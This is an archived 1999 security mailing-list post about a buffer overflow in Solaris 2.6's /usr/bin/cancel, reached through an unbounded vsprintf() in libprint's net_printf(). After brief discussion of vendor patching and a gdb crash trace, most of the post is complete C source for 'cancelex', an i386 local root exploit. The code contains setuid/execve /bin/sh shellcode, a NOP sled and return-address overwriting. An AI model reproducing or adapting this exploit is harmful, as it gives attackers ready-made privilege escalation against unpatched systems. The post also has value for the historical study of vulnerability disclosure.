Re: buffer overflow in /usr/bin/cancel

From: Anonymous (nobodyat_private)
Date: Tue Mar 09 1999 - 12:50:21 PST

  • Next message: David Gale: "Re: SMTP server account probing"

    On Fri, 5 Mar 1999, Josh A. Strickland wrote:
    
    > This buffer overflow was fixed in Solaris 7 before it was released.
    > [let's hear it for proactive code auditing!]
    
    Is it really proactive though?  Proactive would mean fixing the hole in
    current versions of the software and immediately releasing patches for
    older versions, not just fixing holes in a hush-hush manner under the
    table and hoping that nobody notices that the hole ever existed.
    
    > [ It seems that this is not an exploitable condition (2.6, remember, is
    > the only version that is suid, so this is what I'm speaking of), as only
    > i and o registers are mangled, and not pc.
    
    Hmm, perhaps the SPARC version is not exploitable, but the i386 version
    certainly is.  Read on.
    
    > However, it is disconcerting that overflow problems with lpr were fixed
    > long ago, but similar problems with other _similar_ programs like lpstat
    > and cancel were not audited at the same time.  This kind of makes me
    > wonder what other lp related suid progs may have buffer overflows in
    > them?
    
    I'll wager that each and every one of the SUID root programs in Solaris
    2.6 related to the printing system has at least one root exploitable hole.
    Some of these holes from Solaris 2.6 are indeed fixed in Solaris 7, but I
    expect to still find at least some that have not been fixed.
    
    I had not planned on releasing this, but here is an i386 exploit for
    /usr/bin/cancel in Solaris 2.6 since the news is out now that a hole
    exists.  From Josh's description of crashes with overly long usernames, it
    sounds like he has picked up on a different hole, probably related to a
    wild strcat() call in vappend_string().  The hole this exploit hits is in
    the net_printf() function (from /usr/lib/libprint.so.2) called by
    vcancel_remote(), using a format argument of "%c%s %s%s\n" where the first
    string argument is a printer name (derived from command line input).
    
    In net_printf() in Solaris 2.6, there is what appears to be a vsprintf()
    call into a stack buffer 1024 bytes in size.  You can see this in action
    with gdb:
    
    # cd /var/spool/print
    # /usr/bin/cancel localhost:`perl -e 'print "A"x2000'`
    Segmentation fault (core dumped)
    # gdb /usr/bin/cancel core
    GNU gdb 4.17
    
    [...]
    
    (gdb) where
    #0  0xdff6a7f9 in strlen ()
    #1  0xdff987c6 in _doprnt ()
    #2  0xdff9fee2 in vsprintf ()
    #3  0xdffd863e in net_printf ()
    #4  0x41414141 in ?? ()
    Cannot access memory at address 0x41414141.
    (gdb)
    
    Experimentation with Solaris 7 seems to indicate that this vsprintf() call
    in libprint was replaced with a vsnprintf() call, which solves the buffer
    overflow, making Solaris 7 immune to this particular exploit.
    
    Here's to a quick patch from Sun!  Tell 'em four weeks is too long!  ;-)
    
                                    Yours truly,
    
                                    Cheez Whiz
                                    cheezbeastat_private
    
    cancelex.c
    
    ----- cut here ----- cut here ----- cut here ----- cut here -----
    
    /**
    ***  cancelex - i386 Solaris root exploit for /usr/bin/cancel
    ***
    ***  Tested and confirmed under Solaris 2.6 (i386)
    ***
    ***  Usage:  % cancelex hostname [offset]
    ***
    ***  where hostname is the name of a host running the printer service on
    ***  TCP port 515 (such as "localhost" perhaps) and offset (if present)
    ***  is the number of bytes to add to the stack pointer to calculate your
    ***  target return address; try -1000 to 1000 in increments of 100 for
    ***  starters.
    ***
    ***  Cheez Whiz
    ***  cheezbeastat_private
    ***
    ***  February 25, 1999
    **/
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    #define BUFLEN 1031
    #define NOP 0x90
    
    char shell[] =
    /*  0 */ "\xeb\x3b"                         /* jmp springboard       */
    /* syscall:                                                          */
    /*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
    /*  9 */ "\xc3"                             /* ret                   */
    /* start:                                                            */
    /* 10 */ "\x5e"                             /* popl %esi             */
    /* 11 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 13 */ "\x89\x46\xc1"                     /* movl %eax,-0x3f(%esi) */
    /* 16 */ "\x88\x46\xc6"                     /* movb %al,-0x3a(%esi)  */
    /* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
    /* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
    /* setuid:                                                           */
    /* 25 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 27 */ "\x50"                             /* pushl %eax            */
    /* 28 */ "\xb0\x17"                         /* movb $0x17,%al        */
    /* 30 */ "\xe8\xdf\xff\xff\xff"             /* call syscall          */
    /* 35 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
    /* execve:                                                           */
    /* 38 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 40 */ "\x50"                             /* pushl %eax            */
    /* 41 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
    /* 44 */ "\x53"                             /* pushl %ebx            */
    /* 45 */ "\x8d\x1e"                         /* leal (%esi),%ebx      */
    /* 47 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
    /* 50 */ "\x53"                             /* pushl %ebx            */
    /* 51 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
    /* 53 */ "\xe8\xc8\xff\xff\xff"             /* call syscall          */
    /* 58 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
    /* springboard:                                                      */
    /* 61 */ "\xe8\xc8\xff\xff\xff"             /* call start            */
    /* data:                                                             */
    /* 66 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
    /* 74 */ "\xff\xff\xff\xff"                 /* DATA                  */
    /* 78 */ "\xff\xff\xff\xff";                /* DATA                  */
    
    char buf[BUFLEN+1];
    char *egg;
    unsigned long int esp, nop;
    long int offset = 0;
    
    unsigned long int
    get_esp()
    {
        __asm__("movl %esp,%eax");
    }
    
    void
    main(int argc, char *argv[])
    {
        int i;
    
        if (argc < 2) {
            printf("usage: %s hostname [offset]\n", argv[0]);
            return;
        }
    
        esp = get_esp();
    
        if (argc > 2)
    	offset = strtol(argv[2], NULL, 0);
    
        if (argc > 3)
    	nop = strtoul(argv[3], NULL, 0);
        else
    	nop = 933;
    
        memset(buf, NOP, BUFLEN);
        memcpy(buf+nop, shell, strlen(shell));
        for (i = nop+strlen(shell); i <= BUFLEN-4; i += 4)
    	*((int *) &buf[i]) = esp+offset;
    
        if ((egg = (char *) malloc(strlen(argv[1])+1+BUFLEN+1)) == NULL) {
    	printf("malloc failed!\n");
    	return;
        }
        snprintf(egg, strlen(argv[1])+1+BUFLEN+1, "%s:%s", argv[1], buf);
    
        printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
    	   esp+offset, esp, offset, nop);
        execl("/usr/bin/cancel", "cancel", egg, NULL);
        /* execl("/usr/ucb/lprm", "lprm", "-P", egg, NULL); */
    
        printf("exec failed!\n");
        return;
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:38:28 PDT